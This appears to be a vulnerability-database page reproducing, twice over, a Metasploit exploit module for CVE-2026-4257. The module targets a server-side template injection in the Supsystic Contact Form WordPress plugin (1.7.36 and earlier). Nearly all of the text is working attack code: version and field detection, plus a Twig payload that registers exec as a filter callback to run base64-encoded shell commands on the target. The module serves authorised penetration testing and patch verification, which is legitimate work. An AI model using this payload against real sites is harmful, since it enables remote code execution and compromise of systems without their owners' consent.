9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This module performs SSTI achieving RCE in webpages containing the Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and before. Module Options msf use exploit/multi/http/wppluginsupsysticcontactformrce msf...
Basic Information
ID
MSF:EXPLOIT-MULTI-HTTP-WP_PLUGIN_SUPSYSTIC_CONTACT_FORM_RCE-
Published
May 26, 2026 at 19:01
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
'Description' => %q{
This module performs SSTI achieving RCE in webpages containing the
Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
before.
},
'Author' => [
'Azril Fathoni', # Vulnerability Disclosure
'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd
}
]
],
'References' => [
['CVE', '2026-4257'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/cve-2026-4257'
],
],
'DisclosureDate' => '2026-03-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FIELD', [
false,
'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
]),
OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
]
)
end
def vulnerable?(version_str)
return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
end
def get_version(body)
version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
match = version_regex.match(body)
match ? match[1] : nil
end
def get_fields(html)
pattern = /data-name="([^"]+)"/
field_names = html.scan(pattern).flatten.uniq
if field_names.any?
print_good("Found fields: #{field_names.join(', ')}")
return field_names
else
print_warning('Failed to find fields.')
return nil
end
end
def handle_field
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
end
fields = get_fields(res.body)
if !fields.nil?
field = fields[0]
print_status("Using detected field: #{field}")
return field
end
if field.nil
fail_with(Failure::NotFound, 'Failed to resolve target field')
end
end
def send_payload(payload, field)
b64 = Rex::Text.encode_base64(payload.raw)
payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}' \
+ '{%set p%}' + b64 + '{%endset%}' \
+ '{%set p = p|convert_encoding((a), (b))%}' \
+ '{%set e%}exec{%endset%}' \
+ '{{_self.env.registerUndefinedFilterCallback(e|lower)}}' \
+ '{{_self.env.getFilter(p)}}'
params = { 'cfsPreFill' => 1, field => payload }
# Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two "?" characters
# denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail
if target_uri.query && !target_uri.query.empty?
target_uri.query.split('&').each do |pair|
k, v = pair.split('=', 2)
params[k] = v
end
end
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'vars_get' => params
})
end
def exploit
if datastore['FIELD'].nil?
field = handle_field
else
field = datastore['FIELD']
end
send_payload(payload, field)
end
def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
return CheckCode::Unknown unless res.code == 200
version_str = get_version(res.body)
if version_str.nil?
vprint_status('Failed to derive version')
fields = get_fields(res.body)
return CheckCode::Detected unless fields.nil?
end
if vulnerable?(version_str)
return CheckCode::Appears("Detected version #{version_str}")
end
return CheckCode::Safe("Detected version #{version_str}")
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Supsystic Contact Form Wordpress Plugin SSTI RCE',
'Description' => %q{
This module performs SSTI achieving RCE in webpages containing the
Contact Form Wordpress plugin by Supsystic in versions 1.7.36 and
before.
},
'Author' => [
'Azril Fathoni', # Vulnerability Disclosure
'bootstrapbool <bootstrapbool[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd
}
]
],
'References' => [
['CVE', '2026-4257'],
[
'URL', # Python Exploit
'https://github.com/bootstrapbool/cve-2026-4257'
],
],
'DisclosureDate' => '2026-03-30',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FIELD', [
false,
'Valid field used by the Contact Form plugin. Defaults are first_name, last_name, subject, message, and email. Only certain types of fields will work. See documentation (info) for more details.'
]),
OptString.new('TARGETURI', [true, 'Filepath to the webpage containing the Contact Form. Ex: /wordpress/index.php/sample-page/']),
]
)
end
def vulnerable?(version_str)
return Rex::Version.new(version_str) <= Rex::Version.new('1.7.36')
end
def get_version(body)
version_regex = /suptablesui\.min\.css\?ver=([0-9.]+)/
match = version_regex.match(body)
match ? match[1] : nil
end
def get_fields(html)
pattern = /data-name="([^"]+)"/
field_names = html.scan(pattern).flatten.uniq
if field_names.any?
print_good("Found fields: #{field_names.join(', ')}")
return field_names
else
print_warning('Failed to find fields.')
return nil
end
end
def handle_field
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from server.')
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server.')
end
fields = get_fields(res.body)
if !fields.nil?
field = fields[0]
print_status("Using detected field: #{field}")
return field
end
if field.nil
fail_with(Failure::NotFound, 'Failed to resolve target field')
end
end
def send_payload(payload, field)
b64 = Rex::Text.encode_base64(payload.raw)
payload = '{%set a%}UTF-8{%endset%}{%set b%}BASE64{%endset%}' \
+ '{%set p%}' + b64 + '{%endset%}' \
+ '{%set p = p|convert_encoding((a), (b))%}' \
+ '{%set e%}exec{%endset%}' \
+ '{{_self.env.registerUndefinedFilterCallback(e|lower)}}' \
+ '{{_self.env.getFilter(p)}}'
params = { 'cfsPreFill' => 1, field => payload }
# Fold any query the user baked into TARGETURI (e.g. page_id=2) into vars_get to avoid having two "?" characters
# denoting two separate query strings in the final URI, as one gets added from the TARGETURI and one from vars_get, which causes the payload to fail
if target_uri.query && !target_uri.query.empty?
target_uri.query.split('&').each do |pair|
k, v = pair.split('=', 2)
params[k] = v
end
end
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'vars_get' => params
})
end
def exploit
if datastore['FIELD'].nil?
field = handle_field
else
field = datastore['FIELD']
end
send_payload(payload, field)
end
def check
res = send_request_cgi({ 'uri' => normalize_uri(target_uri) })
return CheckCode::Unknown unless res.code == 200
version_str = get_version(res.body)
if version_str.nil?
vprint_status('Failed to derive version')
fields = get_fields(res.body)
return CheckCode::Detected unless fields.nil?
end
if vulnerable?(version_str)
return CheckCode::Appears("Detected version #{version_str}")
end
return CheckCode::Safe("Detected version #{version_str}")
end
end